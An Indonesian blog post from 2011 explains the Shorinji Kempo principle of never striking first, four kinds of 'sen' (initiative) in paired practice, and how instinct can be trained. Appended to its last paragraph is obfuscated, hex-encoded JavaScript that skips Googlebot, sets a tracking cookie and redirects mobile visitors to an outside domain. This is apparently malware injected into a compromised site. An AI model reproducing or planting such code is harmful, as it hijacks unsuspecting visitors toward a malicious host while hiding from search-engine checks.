1. Dalam setiap aspek, Shorinji Kempo adalah disiplin untuk melengkapi sisi kemanusiaan seseorang dan jalan yang bertujuan untuk mengembangkan karakter seseorang. Karena alasan spiritual ini, seorang Kenshi pada dasarnya tidak memulai serangan terlebih dahulu.
  2. Untuk mencapai taraf tersebut, penting untuk menempatkan seorang Kenshi dalam posisi menguntungkan lawan – inilah yang disebut sen (inisiatif). Seseorang harus mencapai sen dalam latihan berpasangan dan berlatih mengendalikan sen dalam latihan.
  3. Dalam bentuk eksternal, ada tiga macam inisiatif, Sen, Go No Sen dan eni No Sen. Penting untuk melatih kemampuan mengendalikan Sen tanpa memandang waktunya.

 

 

 

Shorinji Kempo lebih dari sekedar ilmu beladiri biasa, tapi juga mengajarkan tentang prinsip-prinsip hukum alam. Siapapun yang bergabung dengan Shorinji Kempo tidak hanya berusaha untuk mengembangkan kemampuan teknik mereka tapi juga bagaimana implementasinya dalam kehidupan sehari-hari dan perilaku mereka. Salah satu perwujudannya adalah dengan janji kita untuk tidak memulai perkelahian dengan siapapun. Prinsip ini bukan hanya berasal dari kelebihan teknik serangan balasan kita tapi lebih kepada ekspresi sikap mental Kenshi dalam kehidupannya.

Mempelajari teknik memang memerlukan tenaga dan waktu, tapi setiap Kenshi berangkat dari falsafah tadi dan harus memahami konsep Sen  yang dapat diraih melalui latihan berpasangan.

1.       Tai No Sen

Adalah saat dua orang yang berkelahi berada dalam jarak serangan. Saat penyerang mulai gerakan menyerang, seketika dia menyerang, yang bertahan melihat niat tersebut dan berusaha meredam serangan tersebut, baik dengan elakan, tangkisan maupun serangan balasan. Yang bertahan harus dapat melihat tanda tanda dimulainya serangan, seperti perubahan kamae, perubahan titik berat tubuh, gerakan bahu ataupun tangan. Sesaat sebelum serangan itu sampai di sasaran, dia harus dapat meredamnya. Oleh karena itu Sen ini juga disebut sen bersama.

2.       Go No Sen

Terjadi waktu seseorang memancing serangan lalu menghindari dan menangkis serangan tersebut. Seketika sang penyerang kehilangan konsentrasi, yang bertahan melakukan serangan balasan dan mengontrol situasi. Oleh karena itu Sen ini juga disebut sen menunggu/machi no sen. Menunggu di sini dalam artian bukan menunggu tanpa melakukan apapun karena kita harus selalu dalam keadaan siap untuk bergerak. Menampilkan keadaan tidak siaga kepada lawan juga merupakan sebuah strategi.

3.       Sen No Sen

Keadaan di mana seseorang sudah merasakan tanda-tanda bahwa lawan akan menyerang dan sebelum serangan dimulai dia sudah melakukan suatu teknik.

4.       Ki No Sen

Tiga Sen di atas didasari pada prinsip membaca serangan lawan sebagai inisiatif fisik (kihatsu no sen atau sen yang nyata). Sedangkan Ki No Sen didasari dari pengamatan psikologis lawan (mihatsu no sen atau sen yang nyata tetapi tidak menyangkut fisik) sebelum tanda-tanda penyerangan fisik, dengan usaha untuk mengontrol situasi. Tanpa Ki No Sen sulit untuk menggunakan Sen lainnya secara efektif.

Insting Dapat Dikembangkan dengan Latihan

Lima indera manusia terdiri dari kemampuan melihat, mendengar, mencium, merasakan dan meraba. Ada lagi indera keenam yang dikenal dengan ESP (Extra Sensory Perception). Shorinji Kempo mengenalnya dengan istilah yang lebih biasa yaitu “insting”.

Insting adalah proses pengambilan keputusan secara psikologis di luar kelima indera manusia. Insting bukanlah benda mistik tetapi kemampuan yang dapat dilatih. Cara untuk menajamkan insting adalah dengan mengambil pengalaman sebanyak-banyaknya dari hal apapun dan mengembangkan pengetahuan tentang bagaimana hukum alam di dunia ini bekerja. Insting sejati tidak mengandalkan logika tetapi masih bergerak dalam lingkup hukum alam. Insting bukanlah bakat tatapi lebih berupa keahlian yang dikembangkan melalui usaha sehari-hari. Beberapa cara untuk mengembangkan insting:

  1. Mencari penjelasan mengapa sesuatu bisa terjadi.
  2. Memperhatikan sesuatu yang mempunyai hubungan dengan kejadian lain.
  3. Mengembangkan rasa tertarik pada banyak hal serta mencari, mengumpulkan dan mengorganisasikan informasi yang terkumpul.

Insting adalah Salah Satu Kekuatan Manusia

                Insting adalah salah satu kekuatan dan sumber dari banyak penemuan-penemuan. Dalam kehidupan modern ini, manusia masih menggantungkan diri terhadap insting. Shorinji Kempo akan mengembangkan dan mempertajam kemampuan insting kita.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

This entry was posted on Monday, December 26th, 2011 at 11:28 am and is filed under TOKUHON. You can follow any responses to this entry through the RSS 2.0 feed. Both comments and pings are currently closed.